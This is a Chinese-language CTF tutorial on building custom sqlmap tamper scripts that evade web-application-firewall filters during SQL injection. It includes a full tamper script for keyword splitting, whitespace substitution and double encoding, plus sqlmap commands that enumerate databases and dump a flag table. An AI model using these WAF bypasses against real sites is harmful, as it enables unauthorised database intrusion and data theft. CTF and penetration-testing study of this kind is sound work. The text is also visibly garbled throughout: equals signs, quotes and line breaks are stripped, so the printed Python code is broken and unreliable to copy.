从零编写SQL注入Tamper脚本:绕过CTF进阶WAF实战 1. 项目概述从“会用”到“会写”的Tamper脚本进阶之路在CTF的Web安全赛道上尤其是像ctfshow这类实战平台SQL注入始终是绕不开的核心考点。新手阶段我们依赖sqlmap等自动化工具输入一个-u参数加上--dbs看着工具跑出数据库名感觉一切尽在掌握。但当你踏入“进阶”或“web”系列题目时会发现情况急转直下。那些简单的单引号、or 11的payload往往在第一个WAFWeb应用防火墙规则面前就败下阵来。页面返回的不再是数据库错误信息而是冷冰冰的“非法请求”或干脆一片空白。这时你需要的就不再是“使用”工具而是“改造”工具让工具适应目标环境。这就是Tamper脚本存在的意义——它不是工具而是你与目标WAF之间博弈的“武器”。Tamper脚本本质上是sqlmap中用于在发送payload前对其进行动态编码、混淆、变形的一层钩子hook。你可以把它理解为一个“payload化妆师”。默认的sqlmap payload可能是1 AND 11但经过Tamper脚本处理它可能变成1%27%20AND%20%271%27%3D%271URL编码或者1 ANANDD 11双写关键字甚至是更复杂的随机大小写、插入注释符等。很多选手在遇到过滤时第一反应是去网上找现成的Tamper脚本集合一个个试。这种方法在简单过滤时或许有效但面对ctfshow进阶题目中那些针对性极强的、甚至是“魔改”过的过滤规则盲目试错效率极低且难以触及问题的本质。因此本篇文章的核心不是教你如何使用现有的Tamper脚本而是带你深入理解Tamper脚本的工作原理并基于对目标WAF过滤逻辑的深度分析亲手从零开始定制开发属于你自己的Tamper脚本。我们将从一次真实的ctfshow-web进阶题目解题过程出发拆解其中遇到的SQL注入过滤场景分析其WAF规则然后一步步设计、编写、测试并优化我们的定制化Tamper脚本。这个过程将让你彻底掌握从被动应对到主动破解的主动权也是你从脚本小子迈向真正安全研究者的关键一步。2. 核心需求解析为什么通用Tamper脚本会失效在深入代码之前我们必须先搞清楚一个根本问题在ctfshow的进阶题目里我们到底在对抗什么为什么那些从GitHub上打包下载的、号称“全网最全”的Tamper脚本集经常不起作用2.1 典型过滤场景深度剖析ctfshow题目的WAF设计往往不是简单的关键词黑名单。我们来看几个常见的、需要定制Tamper的复杂场景逻辑层过滤与语义分析简单的WAF可能只过滤union,select,from等关键字。但进阶WAF会尝试理解SQL语句的“形状”。例如它可能检测是否存在select ... from ... where ...这样的模式即使关键字被拆分或混淆。更高级的甚至会模拟一个极简的SQL解析器检查括号是否匹配、引号是否闭合。你的Tamper脚本如果只是简单地对关键字进行URL编码或双写很可能逃不过这种基于“语句结构”的检测。上下文感知过滤过滤规则可能与上下文绑定。例如题目可能只过滤出现在GET参数id中的union但对POST数据data中的union却放行。或者当检测到user-agent为sqlmap默认值时触发更严格的过滤规则。这就要求我们的Tamper脚本不仅要处理payload本身有时还需要配合修改请求头、请求方法甚至调整请求参数的顺序。非常规字符过滤与转换除了空格、注释符--,#,/*WAF可能还会过滤或转换一些不常见的字符比如反引号、、~或者将连续的空格压缩成一个将大小写进行统一规范化。你的payload可能在发送前是SELect但到达服务端时被统一成了SELECT从而触发过滤。基于正则的模糊匹配与长度限制这是最令人头疼的情况之一。WAF使用复杂的正则表达式来匹配攻击模式例如/(\b)(union|select|insert|update|delete|drop|alter)(\b)/i。同时可能还对单个参数值的长度进行限制超过一定长度直接拒绝。你的Tamper策略需要在有限的“变形空间”内既要绕过正则匹配又要保证payload的语法正确性。2.2 通用脚本的局限性网上流传的通用Tamper脚本如space2comment.py,equaltolike.py,randomcase.py通常是针对某一种或几种特定过滤设计的。例如space2comment.py用/**/替换空格对付简单的空格过滤。charencode.py对payload进行URL编码对付基于关键词字符串匹配的过滤。apostrophemask.py用%EF%BC%87UTF-8全角单引号替换单引号对付引号过滤。它们的局限性在于组合性差多个脚本一起使用时处理顺序可能导致payload变得畸形而无法执行。例如先随机大小写再URL编码解码后可能得到乱码。缺乏针对性无法应对题目自定义的、诡异的过滤规则。比如题目过滤了/**/这个注释符本身那么space2comment就完全失效。破坏语法某些变形可能会破坏SQL语句的原始语法。比如过度插入随机字符串或注释可能导致数据库解析错误。因此我们的核心需求是开发一个能够动态分析目标过滤行为并据此生成有效绕过payload的智能、可定制的Tamper脚本框架而不仅仅是几个静态的替换函数。3. Tamper脚本开发基础理解sqlmap的插件机制要定制先要懂规矩。sqlmap的Tamper脚本位于/tamper/目录下是一个独立的Python模块。每个脚本必须包含一个tamper(payload, **kwargs)函数这是sqlmap调用它的唯一入口。3.1tamper()函数详解def tamper(payload, **kwargs): 这是Tamper脚本的主函数。 :param payload: 原始payload字符串即sqlmap准备发送的原始SQL注入代码。 :param kwargs: 一个字典包含当前请求的上下文信息如HTTP头、参数等。非常有用。 :return: 返回处理后的payload字符串。如果无需处理直接返回原payload。 # 你的代码在这里对payload进行变换 retVal payload # ... 各种替换、插入、编码操作 ... return retVal关键参数kwargs这是你获取请求上下文的眼睛。常用的键包括headers: 当前请求的HTTP头字典。你可以修改它来绕过基于User-Agent或Cookie的检测。get/post: GET或POST参数字典。你可以在这里调整参数值或增加干扰参数。hostname: 目标主机名。place: 注入点位置如GET,POST,Cookie,User-Agent。针对不同位置的过滤强度可能不同。3.2 开发环境与调试技巧独立测试脚本不要一开始就在sqlmap里测试。写一个单独的Python文件来模拟tamper函数方便快速迭代。# test_tamper.py def my_tamper(payload, **kwargs): # 你的逻辑 return payload.replace( , /**/) if __name__ __main__: test_payload 1 AND 11 print(f原始: {test_payload}) print(f处理后: {my_tamper(test_payload)})与sqlmap集成测试将脚本放入sqlmap的tamper/目录后使用--tamper参数调用并配合-v 3或更高查看详细payload。python sqlmap.py -u http://target.com/page?id1 --tampermy_tamper -v 3通过观察[PAYLOAD]部分的输出你可以清晰地看到你的脚本是如何改变原始payload的。利用--test-filter如果你有一堆Tamper脚本可以用这个参数只测试某一个避免干扰。注意在编写Tamper脚本时务必保证变换后的payload在目标数据库MySQL, PostgreSQL, SQL Server等中语法依然正确。最好在本地搭建一个对应的数据库环境进行语法验证。4. 实战案例ctfshow-web进阶题目Tamper定制全流程假设我们遇到一道ctfshow题目URL为http://xxx/challenge.php?id1。经过初步测试发现以下过滤特征过滤了union,select,from,where等关键字不区分大小写。过滤了空格和/**/注释符。对单引号进行了转义变成\。参数值长度超过50字符会被截断。我们的目标是注入出数据库名。显然通用Tamper脚本组合难以奏效。下面开始我们的定制开发。4.1 第一步信息收集与过滤规则逆向首先我们进行手动fuzz精确探明过滤边界。测试关键字过滤发送id1 union select 1,2,3返回“非法请求”。发送id1 ununionion selselectect 1,2,3双写绕过同样被拦。说明WAF可能采用了正则匹配且能识别简单的双写。测试空格绕过发送id1%0aunion%0aselect%0a1,2,3换行符%0a成功说明WAF只过滤了空格字符%20但没有过滤其他空白符如%0a,%0d,%09tab。测试注释符发送id1%0aunion%0aselect%0a1,2,3%23%23是#被过滤。发送id1%0aunion%0aselect%0a1,2,3--成功说明过滤了#和/*但没过滤--注意后面有个空格。测试引号发送id1返回数据库错误如You have an error in your SQL syntax说明单引号未被转义这是一个注入点之前关于转义的判断是错的可能是其他测试导致的误解。这提醒我们信息收集要干净、隔离。测试长度限制构造一个长payload发现返回内容被截断确认长度限制存在。逆向出的规则总结规则1使用正则/(union|select|from|where)/i过滤关键字。规则2过滤字符空格 、#、/*。规则3允许字符换行符\n或%0a、回车符\r或%0d、制表符\t或%09、--。规则4Payload长度需控制在50字符内。4.2 第二步Tamper脚本设计与编写基于以上分析我们的Tamper脚本需要实现以下功能关键字混淆不能用简单的双写。我们可以将每个关键字拆分成多个部分用允许的空白符连接。例如select-sel%0aect。空白符替换将所有空格 替换为换行符%0a。注释符选择将sqlmap默认的#或-- -注释统一替换为--注意末尾空格。Payload压缩由于长度限制我们需要尽可能缩短payload。例如用%0a代替%20本身就更短吗不一定%0a是三个字符空格是一个字符。但在HTTP请求中%0a会被解码为一个字符换行。所以实际考虑的是编码前的字符数。我们需要精简不必要的部分比如version()可以缩写成versionMySQL。下面开始编写ctfshow_advanced.py#!/usr/bin/env python Copyright (c) 2006-2024 sqlmap developers (http://sqlmap.org/) See the file LICENSE for copying permission import re from lib.core.enums import PRIORITY __priority__ PRIORITY.NORMAL # 定义脚本优先级NORMAL即可 def dependencies(): 声明脚本依赖这里不需要特殊依赖。 pass def tamper(payload, **kwargs): 针对特定ctfshow进阶题目过滤规则的Tamper脚本。 规则过滤union/select/from/where忽略大小写过滤空格、#、/*允许%0a,%0d,%09长度50。 if payload is None: return payload retVal payload # 1. 替换注释符确保使用-- 注意空格 # sqlmap有时会用-- -我们统一替换 retVal re.sub(r--\s*$, -- , retVal) # 将行末的-- 标准化 # 如果payload中有#也替换成-- 但需要处理上下文这里简单处理行注释 # 更安全的做法是分析SQL语句结构这里假设#只在末尾做行注释 if retVal.rstrip().endswith(#): retVal retVal.rstrip().rstrip(#) -- # 2. 关键字拆分与混淆 (核心绕过逻辑) # 定义一个拆分函数将单词在随机位置拆分用%0a连接 # 为了确定性便于调试我们采用固定拆分点。实战中可引入随机性。 def split_keyword(match): word match.group(0).lower() # 定义拆分策略 split_map { union: uni%0aon, select: sel%0aect, from: fr%0aom, where: wh%0aere, and: an%0ad, or: o%0ar, } # 如果关键字在映射中返回拆分后的形式否则返回原词但这种情况不应该发生因为被正则匹配了 return split_map.get(word, word) # 使用正则忽略大小写匹配关键字并进行替换 # 注意正则模式要匹配整个单词边界避免匹配到单词的一部分 keyword_pattern re.compile(r\b(union|select|from|where|and|or)\b, re.IGNORECASE) retVal keyword_pattern.sub(split_keyword, retVal) # 3. 替换空格为换行符(%0a) retVal retVal.replace( , %0a) # 4. 移除可能存在的/* */注释块因为被过滤sqlmap可能不会用但以防万一 retVal re.sub(r/\*.*?\*/, , retVal, flagsre.DOTALL) # 5. 长度检查与优化简易版 # 计算URL编码前的长度近似值。更精确需考虑URL编码。 # 这里做一个简单警告实际开发中需要更复杂的压缩策略。 if len(retVal) 45: # 留一些余量给其他参数 # 可以尝试进一步优化例如缩短函数名、别名等 # 例如database() - database() # 但version() - version 在MySQL中更短 # 这里只是示例实际需要根据数据库类型和payload结构来优化 pass return retVal4.3 第三步本地测试与迭代优化将脚本放入sqlmap的tamper/目录后我们进行测试。首次测试python sqlmap.py -u http://xxx/challenge.php?id1 --tamperctfshow_advanced --techniqueB --dbmsmysql --batch -v 3观察输出发现payload变成了1%27%0auni%0aon%0asel%0aect%0a1,2,3--%0a看起来不错关键字被拆分空格换成了%0a。但发送请求后依然返回“非法请求”。问题排查我们检查网络请求用Burp Suite代理sqlmap的流量发现发送的请求中%0a被二次编码了变成了%250a。这是因为sqlmap或目标服务器对请求参数进行了额外的编码。%0a本身是一个百分号编码如果系统认为参数值需要“纯文本”形式可能会对%本身再进行编码%-%25。解决方案我们不能在payload字符串里直接写%0a而应该让sqlmap在最终组装请求时将换行符\n编码为%0a。所以我们在Tamper脚本中应该使用原始换行符\n而不是它的URL编码形式。修改脚本# 在 split_map 中使用 \n split_map { union: uni\non, select: sel\nect, from: fr\nom, where: wh\nere, and: an\nd, or: o\nr, } # 替换空格为 \n retVal retVal.replace( , \n)同时我们需要确保注释符--后面的空格不被转换成\n。修改注释符替换逻辑# 替换注释符 retVal re.sub(r--\s*$, -- , retVal) if retVal.rstrip().endswith(#): retVal retVal.rstrip().rstrip(#) -- # 关键确保-- 后面的空格不被后续的replace( , \n)影响 # 我们可以先处理空格再处理注释符。但注释符可能在中间所以更好的方法是保护注释符部分。 # 采用临时标记法 placeholder COMMENT retVal re.sub(r(--\s)$, lambda m: placeholder, retVal) # 将行末的-- 替换为占位符 retVal retVal.replace( , \n) # 替换所有空格为换行 retVal retVal.replace(placeholder, -- ) # 将占位符恢复为-- 再次测试观察Burp Suite请求参数变为id1uni%0aon%0asel%0aect%0a1,2,3--%20。成功了%0a和%20都正确编码。服务器返回了正常页面并且数字2和3的位置在页面上显示出来说明联合查询注入成功。4.4 第四步集成到sqlmap进行自动化注入现在我们的Tamper脚本已经能绕过基础过滤了。接下来让sqlmap利用这个脚本完成自动化注入。# 1. 探测当前数据库 python sqlmap.py -u http://xxx/challenge.php?id1 --tamperctfshow_advanced --current-db --batch # 2. 列出所有表 (假设数据库名为ctfshow) python sqlmap.py -u http://xxx/challenge.php?id1 --tamperctfshow_advanced -D ctfshow --tables --batch # 3. 导出某个表的数据 (例如flag表) python sqlmap.py -u http://xxx/challenge.php?id1 --tamperctfshow_advanced -D ctfshow -T flag --dump --batch在运行过程中sqlmap可能会尝试使用不同的注入技术布尔盲注、时间盲注等和payload。我们的Tamper脚本会对所有经过注入点的payload进行统一处理确保它们都能绕过过滤。实操心得在编写Tamper脚本时务必使用代理工具如Burp Suite拦截查看sqlmap最终发出的实际请求。很多问题如编码问题、请求头问题只有在看到原始HTTP请求时才能发现。不要完全依赖sqlmap的控制台输出。5. 高级技巧编写自适应与动态Tamper脚本上面的脚本是静态规则。面对更狡猾的、会变化的WAF我们需要更智能的脚本。5.1 基于响应的动态调整我们可以让Tamper脚本根据服务器的响应内容动态调整策略。这需要利用kwargs参数和sqlmap的某些特性比较高级可能需要修改sqlmap源码或使用插件这里提供思路。思路在tamper函数中我们无法直接获取上一次的响应。但可以通过一种“间接”方式sqlmap的--eval选项允许在每次请求前执行Python代码。我们可以结合一个全局变量或文件来记录状态。一个更可行的简化方案是准备多个Tamper变体。例如tamper_v1.py: 使用\n绕过空格。tamper_v2.py: 使用\t绕过空格。tamper_v3.py: 使用括号绕过空格如union(select(1),2,3)。然后写一个主调度脚本dispatcher.py它根据某个条件比如前一次请求是否被拦截来决定调用哪个变体。这个调度逻辑可以放在一个外部循环脚本中而不是一个Tamper脚本里。5.2 处理多重编码与特殊字符有些WAF会进行多层解码或字符规范化。例如它可能先URL解码然后HTML解码最后再匹配关键字。我们的payload可能需要适应这种多层解码。例如如果WAF会进行两次URL解码那么%2520%20的编码解码一次变成%20再解码一次变成空格。我们可以利用这一点# 如果目标进行双重URL解码 retVal retVal.replace( , %2520) # 空格 - %20 - 空格 retVal retVal.replace(union, %2575%256e%2569%256f%256e) # u - %75 - u ... 双重编码这需要对目标WAF的解码顺序有精确了解通常通过fuzz测试获得。5.3 利用数据库特性绕过不同数据库有独特的语法特性可以用于绕过。MySQL内联注释/*!50000union*//*!select*/。某些版本WAF可能不解析注释内的内容。PostgreSQL使用CHR()函数构造字符串避免使用引号。a可以写成CHR(97)。SQL Server使用号连接字符串select。可以在Tamper脚本中根据--dbms参数可通过kwargs获取或从sqlmap配置中读取来应用不同的绕过策略。6. 常见问题与排查技巧实录在开发和调试Tamper脚本的过程中你会遇到各种各样的问题。下面是一些典型问题及解决思路问题现象可能原因排查步骤与解决方案Payload发送后服务器返回500错误或连接重置1. Tamper脚本破坏了SQL语法。2. 引入了非法字符导致应用层解析错误。3. Payload长度超限。1.本地语法校验将处理后的payload在对应的数据库客户端中执行看是否报语法错误。2.二分法定位逐步注释掉Tamper脚本中的变换步骤找到导致错误的那个操作。3.查看原始请求用Burp Suite抓包检查最终请求的格式是否正确特别注意特殊字符的编码。sqlmap提示“所有测试参数似乎都不注入”1. Tamper脚本过度变形导致sqlmap的探测payload失效。2. 脚本影响了非注入参数破坏了正常请求。3. WAF有频率限制或IP封锁。1.使用-v 3查看payload确认探测payload是否被正确变形且语法正确。2.简化脚本先只实现最核心的绕过如空格替换确保探测能进行再逐步增加功能。3.调整速率使用--delay和--timeout参数并检查是否有IP封锁机制。Tamper脚本只在部分payload上生效1. sqlmap在不同注入阶段布尔盲注、报错注入、联合查询使用了不同的payload模板你的脚本可能没有覆盖所有情况。2. 脚本中的正则匹配不够全面。1.分析sqlmap的payload文件查看/xml/payloads/目录下的XML文件了解各种payload的结构。确保你的变换规则是通用的。2.增强正则使用更宽泛的匹配模式并考虑payload的多行情况。绕过成功但无法提取数据1. 空格或注释符替换后导致了字段截断或字符串拼接问题。2. 关键字拆分破坏了函数名或语句结构如select database()变成了sel\nect databa\nse()。1.保护函数和字符串在替换空格时避免替换括号内、引号内的空格。这需要更复杂的解析可以先用正则匹配并保护这些区域。2.针对性调整对database()这类固定函数不进行关键字拆分。脚本在本地测试成功但线上失败1. 目标服务器环境如PHP版本、MySQL版本与本地不同导致语法差异。2. 网络中间件如CDN、负载均衡对请求进行了修改。1.环境一致性尽可能搭建与目标相似的环境进行测试。2.对比请求分别抓取本地成功和线上失败的HTTP请求包进行逐字节对比找出差异。独家避坑技巧从简到繁永远从一个最简单的Tamper脚本开始比如只做一件事替换空格。每增加一个功能就充分测试。不要一开始就写一个几百行的复杂脚本。善用--proxy和-v 3这是你调试Tamper脚本的黄金组合。--proxy http://127.0.0.1:8080将流量导入Burp Suite-v 3让sqlmap打印出每个payload。结合两者你能清晰地看到你的脚本是如何影响每一次请求的。单元测试你的tamper函数为你的脚本编写一组测试用例覆盖各种边界情况。这能极大提升开发效率和脚本鲁棒性。理解WAF的“惰性”很多WAF为了性能不会完全解析整个SQL语句。它们可能只检查前N个字符或者只匹配特定的危险模式。尝试将恶意代码放在参数值的末尾或者将其拆分成多个参数有时会有奇效。这可以在Tamper脚本中通过调整payload在参数中的位置来实现。编写Tamper脚本的过程是一个深度理解SQL注入、HTTP协议和WAF防御逻辑的过程。它没有一成不变的答案充满了对抗与博弈。当你亲手编写的脚本成功绕过一道难题的防御时那种成就感远非使用现成工具可比。这不仅是CTF比赛的技巧更是实战渗透测试中面对真实世界WAF时不可或缺的核心能力。记住工具是死的人是活的真正的安全高手永远是那些最懂工具并能创造工具的人。